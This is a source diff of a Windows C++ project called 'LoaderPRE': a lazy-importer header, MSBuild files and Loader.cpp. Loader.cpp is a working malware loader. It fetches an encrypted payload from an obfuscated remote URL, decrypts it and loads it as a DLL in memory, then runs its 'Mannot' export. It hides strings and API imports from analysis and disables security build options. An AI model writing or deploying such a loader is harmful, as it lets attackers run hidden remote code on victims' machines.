unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
unsigned long _ied_size;
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{
}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{
}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{
}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
};
}
}
+284
View File
@@ -0,0 +1,284 @@
#include "Ecy.h"
#include "MemoryModule.h"
#include "MyFunctions.h" // Your header file
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#pragma warning(disable : 4996)
#define DEBUG_MODE 0
typedef int (*MannotFunc)(std::string, std::string, std::string);
class CloudDLLLoader {
private:
HMEMORYMODULE module;
std::vector<uint8_t> dllBytes;
public:
CloudDLLLoader() : module(nullptr) {}
~CloudDLLLoader() {
if (module) {
MemoryFreeLibrary(module);
}
}
bool loadDLLFromBytes(const std::vector<uint8_t>& bytes) {
dllBytes = bytes;
return loadDLLIntoMemory();
}
private:
bool loadDLLIntoMemory() {
if (dllBytes.empty()) {
#if DEBUG_MODE
std::cerr << EC("No DLL bytes to load!") << std::endl;
#endif
return false;
}
module = MemoryLoadLibrary(dllBytes.data(), dllBytes.size());
if (!module) {
#if DEBUG_MODE
std::cerr << EC("Failed to load DLL from memory!") << std::endl;
#endif
return false;
}
#if DEBUG_MODE
std::cout << EC("DLL loaded successfully into memory!") << std::endl;
#endif
return true;
}
public:
MannotFunc getMannot() {
auto encrypted = xorstr("Mannot");
auto result = (MannotFunc)MemoryGetProcAddress(module, encrypted.crypt_get());
encrypted.crypt();
return result;
}
// Check if DLL is loaded
bool isLoaded() const {
return module != nullptr;
}
};
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
std::string decoded;
std::vector<int> decodingTable(256, -1);
auto encrypted = xorstr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
const std::string base64Chars = std::string(encrypted.crypt_get());
encrypted.crypt(); // Re-encrypt to clear decrypted data
for (size_t i = 0; i < base64Chars.size(); i++) {
decodingTable[base64Chars[i]] = i;
}
int val = 0, valb = -8;
for (unsigned char c : encryptedBase64) {
if (decodingTable[c] == -1) break;
val = (val << 6) + decodingTable[c];
valb += 6;
if (valb >= 0) {
decoded.push_back((val >> valb) & 0xFF);
valb -= 8;
}
}
std::string encryptedData = decoded;
std::string decrypted;
size_t keyLength = key.size();
for (size_t i = 0; i < encryptedData.size(); ++i) {
decrypted += encryptedData[i] ^ key[i % keyLength];
}
return decrypted;
}
std::string GRS() {
auto encrypted1 = xorstr("abcdefghijklmnopqrstuvwxyz");
auto encrypted2 = xorstr("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
auto encrypted3 = xorstr("0123456789");
const std::string charset =
std::string(encrypted1.crypt_get()) +
std::string(encrypted2.crypt_get()) +
std::string(encrypted3.crypt_get());
// Re-encrypt to clear decrypted data
encrypted1.crypt();
encrypted2.crypt();
encrypted3.crypt();
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dist(0, charset.size() - 1);
std::string result;
result.reserve(23);
for (size_t i = 0; i < 23; ++i) {
result += charset[dist(gen)];
}
return result;
}
std::string DownloadString(std::string URL) {
HINTERNET interwebs = InternetOpenA(EC("Mozilla/5.0 (Windows NT 14_73_31; WOW64)"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
HINTERNET urlFile;
std::string rtn;
if (interwebs) {
urlFile = LI_FN(InternetOpenUrlA).safe_cached()(interwebs, URL.c_str(), NULL, NULL,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if (urlFile) {
char buffer[20000];
DWORD bytesRead;
do {
LI_FN(InternetReadFile).safe_cached()(urlFile, buffer, 20000, &bytesRead);
rtn.append(buffer, bytesRead);
LI_FN(memset).safe_cached()(buffer, 0, 20000);
} while (bytesRead);
LI_FN(InternetCloseHandle).safe_cached()(interwebs);
LI_FN(InternetCloseHandle).safe_cached()(urlFile);
return rtn;
}
}
LI_FN(InternetCloseHandle).safe_cached()(interwebs);
return rtn;
}
std::vector<uint8_t> Base64ToBytes(std::string bobak) {
DWORD bytesNeeded;
if (!LI_FN(CryptStringToBinaryA).safe()(bobak.c_str(), bobak.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
}
std::vector<BYTE> bytes(bytesNeeded);
if (!LI_FN(CryptStringToBinaryA).safe()(bobak.c_str(), bobak.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
}
return bytes;
}
auto ownrdid = xorstr("//OWNERID");
auto bldsid = xorstr("//BUILDID");
/*
auto ownrdid = xorstr("rz6zarjmaf0u9jq4v53hsnz4no61k2");
auto bldsid = xorstr("saSfsdfsdmtpimvUjW019");*/
/*
Turn it up, it's your favorite song
Dance, dance, dance to the distortion
Turn it up, keep it on repeat
Stumbling around like a wasted zombie
*/
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
#if DEBUG_MODE
AllocConsole();
freopen(EC("CON"), EC("w"), stdout);
freopen(EC("CON"), EC("w"), stderr);
#endif
LI_FN(Sleep).safe_cached()(5000);
auto enc1 = xorstr("https://krispykreme.top/Stb/PokerFace/init.php?id=");
std::string MainURL = enc1.crypt_get();
enc1.crypt();
std::string FuncsRD = GRS();
//std::cout << EC("Loader ID: ") << FuncsRD << std::endl;
CloudDLLLoader loader;
loader.loadDLLFromBytes(Base64ToBytes(decrypt(DownloadString(MainURL + FuncsRD), FuncsRD)));
FuncsRD.clear();
if (!loader.isLoaded()) {
#if DEBUG_MODE
std::cerr << EC("DLL not loaded!") << std::endl;
#endif
return 1;
}
auto MannotFucc = loader.getMannot();
#if DEBUG_MODE
if (!MannotFucc)
{
(printf)(EC("Mainnot Failed \n"));
}
#endif
#if DEBUG_MODE
(printf)(EC("Beforea Enter \n"));
#endif
MannotFucc(std::string(ownrdid.crypt_get()), std::string(bldsid.crypt_get()), MainURL);
}
+183
View File
@@ -0,0 +1,183 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{dcae9b38-1ed9-4806-a620-c92ec9595a45}</ProjectGuid>
<RootNamespace>LoaderPRE</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>LoaderPRE</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<GenerateManifest>false</GenerateManifest>
<IncludePath>$(ProjectDir)src\qengine\engine;$(IncludePath)</IncludePath>
<LibraryPath>$(ProjectDir)src\qengine\extern;$(LibraryPath)</LibraryPath>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<CallingConvention>VectorCall</CallingConvention>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<WholeProgramOptimization>false</WholeProgramOptimization>
<BufferSecurityCheck>false</BufferSecurityCheck>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<Optimization>MinSpace</Optimization>
<AdditionalOptions>@$(IntDir)build_seed.rsp
/Gw %(AdditionalOptions)</AdditionalOptions>
<RuntimeTypeInfo>false</RuntimeTypeInfo>
<ExceptionHandling>false</ExceptionHandling>
<OmitDefaultLibName>false</OmitDefaultLibName>
<ControlFlowGuard>false</ControlFlowGuard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<DebugInformationFormat>None</DebugInformationFormat>
<DisableLanguageExtensions>false</DisableLanguageExtensions>
<DisableAnalyzeExternal>false</DisableAnalyzeExternal>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
<AdditionalOptions>/HIGHENTROPYVA
%(AdditionalOptions)</AdditionalOptions>
<EntryPointSymbol>
</EntryPointSymbol>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
<FixedBaseAddress>false</FixedBaseAddress>
</Link>
<PreBuildEvent>
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x3FFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X4}' -f $r) -Encoding ASCII -NoNewline"</Command>
</PreBuildEvent>
<ProjectReference>
<LinkLibraryDependencies>false</LinkLibraryDependencies>
</ProjectReference>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Ecy.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="MyFunctions.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="MemoryModule.c">
<Filter>Header Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Ecy.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MemoryModule.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MyFunctions.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
File diff suppressed because it is too large Load Diff
+168
View File
@@ -0,0 +1,168 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / [email protected]
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.h
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <windows.h>
typedef void *HMEMORYMODULE;
typedef void *HMEMORYRSRC;
typedef void *HCUSTOMMODULE;
#ifdef __cplusplus
extern "C" {
#endif
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
/**
* Load EXE/DLL from memory location with the given size.
*
* All dependencies are resolved using default LoadLibrary/GetProcAddress
* calls through the Windows API.
*/
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
/**
* Load EXE/DLL from memory location with the given size using custom dependency
* resolvers.
*
* Dependencies will be resolved using passed callback methods.
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void *);
/**
* Get address of exported method. Supports loading both by name and by
* ordinal value.
*/
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
/**
* Free previously loaded EXE/DLL.
*/
void MemoryFreeLibrary(HMEMORYMODULE);
/**
* Execute entry point (EXE only). The entry point can only be executed
* if the EXE has been loaded to the correct base address or it could
* be relocated (i.e. relocation information have not been stripped by
* the linker).
*
* Important: calling this function will not return, i.e. once the loaded
* EXE finished running, the process will terminate.
*
* Returns a negative value if the entry point could not be executed.
*/
int MemoryCallEntryPoint(HMEMORYMODULE);
/**
* Find the location of a resource with the specified type and name.
*/
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
/**
* Find the location of a resource with the specified type, name and language.
*/
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
/**
* Get the size of the resource in bytes.
*/
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Get a pointer to the contents of the resource.
*/
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Load a string resource.
*/
